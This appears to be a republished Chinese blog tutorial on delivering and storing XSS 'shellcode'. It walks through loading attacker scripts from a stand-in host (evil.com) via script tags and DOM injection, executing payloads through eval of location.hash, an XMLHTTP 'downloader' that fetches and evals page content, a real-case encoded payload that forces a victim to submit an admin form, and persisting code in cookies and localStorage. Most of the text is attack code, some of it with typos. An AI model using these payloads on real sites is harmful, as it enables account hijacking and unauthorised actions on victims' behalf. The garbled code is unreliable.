您的位置:首页 > 运维架构 > Shell

XSS ShellCode的调用

2013-09-23 17:24 459 查看
1.动态调用远程JavaScript

假设www.bug.com是某个页面含有一个XSS漏洞,Exploit如下:
http://www.bug.com/view.php?sort=[Exploit]
可以直接把Shellcode写到URL参数中,如:
http://www.bug.com/view.php?sort="><script>alert(/xss/)</script>
方便起见可以把Shellcode写到其他服务器的文件上,然后在用<script>标签进行动态加载.

"><scriptsrc=http://www.evil.com/xss.js> </script><
http://www.bug.com/view.php?sort="><scriptsrc=http://www.evil.com/xss.js> </script><

 

除了使用<script>标签动态调用远程JavaScript,还可以运用基于DOM的方法创建和插入节点,

把脚本或HTML注入到网页,实现过程如下:

vars=document.creteElement("script");

s.src="http://www.evil.com/xss.js";

document.getElementsByTagName("head")[0].appendChild(s);

第一行代码使用createElement()函数创建一个新元素—script

第二行代码把<script>的src属性设置成"http://www.evil.com/xss.js",xss.js里面鞋油Shellcode代码.

第三行代码使用GetElementsByTagName()函数查找并返回文档中第一个元素(因为索引为0),

然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个.

简单来说,这段脚本的作用就是动态创建了一个<script>标签,其src属性指向http://www.evil.com/xss.js.然后把引用JavaScript的代码插入到网页的<head>标签后

 
2.使用window.location.hash

如果仅仅是为了解决URL字符长度问题,还可以使用另一种方式实现Shellcode的存储和调用—利用window.location.hash属性.

location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的UTL,用location.href=url就可以直接将页面重定向URL,而location.hash则可以用来获取或设置页面的标签值.比如http://domain/#admin的location.hash="#admin",利用这个属性值可以做一件非常有意义的事情.
http://www.bug.com/view.php?sort=[Exploit]
如果结合location.hash的特性调用Shellcode,具体如下:
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
//其中substr()可在字符串中抽取从start下标(这里是1)开始的指定数目的字符,所以location.hash.substr(1)的作用是抽取"#"符号后面的字符,即alert('xss').而eval()函数用来计算某个字符串,并执行其中的JavaScript代码,通过这个技巧,就能先把Shellcode写到地址参数中在执行.
http://www.bug.com/view.php?sort="><script>eval(location.hash.substr(1))</script>#varurl="/index.php?mod=blog&act=dopost";varcontent="blog_content=By%3A%E5%AD%A4";function_sd_Post(Url,Args){varxmlhttp;var error;eval('try {xmlhttp=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xmlhttp=null;error=e;}');if(null!=xmlhttp){xmlhttp.Open("POST",Url,false);xmlhttp.setRequestHeader("x-requested-with","XMLHttpRequest");xmlhttp.setRequestHeader("Referer","http://www.my.com/api_proxy.html");xmlhttp.setRequestHeader("Accept","application/json,text/javascript,*/*");xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host","www.my.com");xmlhttp.Send(Args);StrText=xmlhttp.reponseText;}}_sd_Post(url,content);

这个XSS Exploit还可以经过各种编码处理以加强迷惑性.

 
3.XSSDownloader

另外一种存储和调用Shellcode的方法,即将其存储到网站的数据库中,包括网页信息、文章内容、个人资料等地方,然后再把他们下载下来执行.

简单地说,就是打造一个XSSdownloader(XSS下载器),事先把Shellcode写在网站的某个页面,在利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据.

简单的POC:

functionXSS(){       /*定义一个XSS()函数,该函数就是调用Shellcode的主函数*/

a=newActiveXObject('Microsoft.XMLHTTP');  /*创建一个XMLHTTP对象*/

a.Open('get','http://www.bug.com/11221.html',false);

a.send();           /*向11221.html发送一个HTTP请求并获取HTTP响应*/

b=a.responseText;  /*获取responseText,结果返回为字符串,把该变量赋值给b变量*/

eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));

                  /*用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取

                  出字符串,最后用unescape()函数方法解码执行*/

}d()

 
http://www.bug.com/11221.html页面代码:
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212

 

真实XSS利用案例:

某网站同学录留言的贴图URL输入框处出现过XSS,主要是用onload事件来触发,Exploit如下:

//在留言的贴图URL的输入框里填写

/editor/UploadFile/2006-12/2/2006122155124754.gif"onload="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;vare=t.indexOf('---');eval(unescape(t.substring(s,e)));">

 

//在留言框内填写:

+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D---

 

XSS代码触发后,会调用留言内容中的+++和---之间的部分代码,对这段代码解码后得到核心的Shellcode如下:

try {

var as =document.getElementsByTagName("a");

var frm= document.getElementsByTagName("iframe")[0];

frm.onload= function() {

var oFrm= document.getElementsByTagName("iframe")[0];

oFrm.onload= "";

var oDoc= oFrm.contentWindow.document;

oDoc.all["who"][1].checked= true;

oDoc.dealmember.action= "backaction/UpdateClassMate.jsp?f=1";

oDoc.dealmember.submit();

}

frm.src= as[34].href;

} catch(e) {

alert(e);

}

 
4.备选存储技术

随着XSS技术的不断发展,攻击者想出来越来越多巧妙的方法去存储和调用XSS Shellcode,较为新颖的方式是把XSS Shellcode存储在客户端本地域中,譬如HTTP cookie、Flash共享对象、UserData、localStorage等.

其中Cookie是客户存储技术中的传统解决方法,但是它有个明显的缺点,就是存储的容量有限,被限制在4KB内.

在Cookie中存储Shellcode的POC如下:

functionsetShellCodz(codz){

var exp=new Data();

exp.setTime(exp.getTime()+365*24*60*60*1000);

document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();

}

另一种存储容器是Flash共享对象(Shared Object,SO),类似于HTTP Cookie的运用方式,所以也被称作Flash Cookie.

与普通Cookie的4KB限制不同,SO存储最大可达100KB,并且可以使用任何形式的JS对象,缺点是必须要使用Flash软件.

 

除了以上两种Cookie,还可以使用IE的UserData存储XSS Shellcode.UserData是微软专门为IE在系统中开辟的一块存储空间,最少能支持64KB,不足之处是只能在IE浏览器上使用.

另外,HTML5也提供了两种在客户端存储数据的新方法,包括localStorage和sessionStorage,其用法基本相同.以localStorage为例,存储数据的方法是直接给window.localStorage添加一个属性,如:window.localStorage.a或者window.localStorage["a"]

它的读取、写入、删除操作方法很简单,是以键值对的方式存在的:

<script>

localStorage.a="xss";

document.write(localStorage.a);

if (localStorage.count)

 {

 localStorage.count=Number(localStorage.count)+1;

 }

else

 {

 localStorage.count=1;

 }

document.write("访问次数"+localStorage.count+ " time(s) .");

</script>

 

这段代码会创建一个变量a,并把XSS存储进去,然后把相关信息打印出来.

需要支持HTML5的浏览器才能看到效果.
xss访问次数1 time(s) .      xss访问次数2time(s) .

 

如果要把XSS Shellcode存储在localStorage中,操作如下:

 

//保存Shellcode

functionsetShellCodz(codz){

window.localStorage.setItem("shellcodz",codz);}

 

//执行Shellcode

functiongetShellCodz(){

eval(window.localStorage.getItem("shellcodz"));}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  XSS ShellCode Web前端